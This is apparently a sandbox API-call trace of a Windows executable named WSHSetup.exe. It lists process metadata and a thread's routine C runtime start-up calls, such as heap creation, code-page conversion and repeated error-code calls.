# Flog Txt Version 1
# Analyzer Version: 3.2.2
# Analyzer Build Date: Mar  3 2020 14:14:30
# Log Creation Date: 12.03.2020 14:44:26.123

Process:
	id = "1"
	image_name = "wshsetup.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\wshsetup.exe"
	page_root = "0x83e9000"
	os_pid = "0x118c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x560"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x1194

	[0047.229] GetStartupInfoW (in: lpStartupInfo=0xf3f7ec | out: lpStartupInfo=0xf3f7ec*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0047.229] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0047.229] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2c40000
	[0047.296] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000
	[0047.296] GetProcAddress (hModule=0x772d0000, lpProcName="FlsAlloc") returned 0x772e4ae0
	[0047.296] GetProcAddress (hModule=0x772d0000, lpProcName="FlsGetValue") returned 0x772e4b20
	[0047.296] GetProcAddress (hModule=0x772d0000, lpProcName="FlsSetValue") returned 0x772e4b40
	[0047.296] GetProcAddress (hModule=0x772d0000, lpProcName="FlsFree") returned 0x772e4b00
	[0047.297] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x214) returned 0x2c405a8
	[0047.297] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x772d0000
	[0047.298] GetCurrentThreadId () returned 0x1194
	[0047.298] GetStartupInfoW (in: lpStartupInfo=0xf3f788 | out: lpStartupInfo=0xf3f788*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0047.298] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x800) returned 0x2c407c8
	[0047.298] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0047.298] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0047.298] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0047.298] SetHandleCount (uNumber=0x20) returned 0x20
	[0047.298] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe\" "
	[0047.298] GetEnvironmentStringsW () returned 0x113eab0*
	[0047.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0047.308] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x565) returned 0x2c40fd0
	[0047.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2c40fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0047.309] FreeEnvironmentStringsW (penv=0x113eab0) returned 1
	[0047.309] GetLastError () returned 0xcb
	[0047.309] SetLastError (dwErrCode=0xcb) 
	[0047.309] GetLastError () returned 0xcb
	[0047.309] SetLastError (dwErrCode=0xcb) 
	[0047.309] GetLastError () returned 0xcb
	[0047.309] SetLastError (dwErrCode=0xcb) 
	[0047.309] GetACP () returned 0x4e4
	[0047.309] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x220) returned 0x2c41540
	[0047.309] GetLastError () returned 0xcb
	[0047.309] SetLastError (dwErrCode=0xcb) 
	[0047.309] IsValidCodePage (CodePage=0x4e4) returned 1
	[0047.309] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xf3f750 | out: lpCPInfo=0xf3f750) returned 1
	[0047.309] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xf3f21c | out: lpCPInfo=0xf3f21c) returned 1
	[0047.309] GetLastError () returned 0xcb
	[0047.309] SetLastError (dwErrCode=0xcb) 
	[0047.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f630, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0047.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f630, cbMultiByte=256, lpWideCharStr=0xf3ef98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ첧졺®Ā") returned 256
	[0047.309] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ첧졺®Ā", cchSrc=256, lpCharType=0xf3f230 | out: lpCharType=0xf3f230) returned 1
	[0047.309] GetLastError () returned 0xcb
	[0047.310] SetLastError (dwErrCode=0xcb) 
	[0047.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f630, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0047.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f630, cbMultiByte=256, lpWideCharStr=0xf3ef68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣵ®Ā") returned 256
	[0047.310] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣵ®Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0047.310] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣵ®Ā", cchSrc=256, lpDestStr=0xf3ed58, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xf3f530, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼£\x9a\x08h÷ó", lpUsedDefaultChar=0x0) returned 256
	[0047.310] GetLastError () returned 0xcb
	[0047.310] SetLastError (dwErrCode=0xcb) 
	[0047.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f630, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0047.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xf3f630, cbMultiByte=256, lpWideCharStr=0xf3ef88, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣵ®Ā") returned 256
	[0047.310] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣵ®Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0047.310] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣵ®Ā", cchSrc=256, lpDestStr=0xf3ed78, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0047.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xf3f430, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¼£\x9a\x08h÷ó", lpUsedDefaultChar=0x0) returned 256
	[0047.310] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xb1e1c8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wshsetup.exe")) returned 0x24
	[0047.310] GetLastError () returned 0x0
	[0047.310] SetLastError (dwErrCode=0x0) 
	[0047.310] GetLastError () returned 0x0
	[0047.310] SetLastError (dwErrCode=0x0) 
	[0047.310] GetLastError () returned 0x0
	[0047.310] SetLastError (dwErrCode=0x0) 
	[0047.310] GetLastError () returned 0x0
	[0047.310] SetLastError (dwErrCode=0x0) 
	[0047.310] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.311] SetLastError (dwErrCode=0x0) 
	[0047.311] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.312] SetLastError (dwErrCode=0x0) 
	[0047.312] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2d) returned 0x2c41768
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.313] GetLastError () returned 0x0
	[0047.313] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.314] SetLastError (dwErrCode=0x0) 
	[0047.314] GetLastError () returned 0x0
	[0047.315] SetLastError (dwErrCode=0x0) 
	[0047.315] GetLastError () returned 0x0
	[0047.315] SetLastError (dwErrCode=0x0) 
	[0047.315] GetLastError () returned 0x0
	[0047.315] SetLastError (dwErrCode=0x0) 
	[0047.315] GetLastError () returned 0x0
	[0047.315] SetLastError (dwErrCode=0x0) 
	[0047.315] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.316] SetLastError (dwErrCode=0x0) 
	[0047.316] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
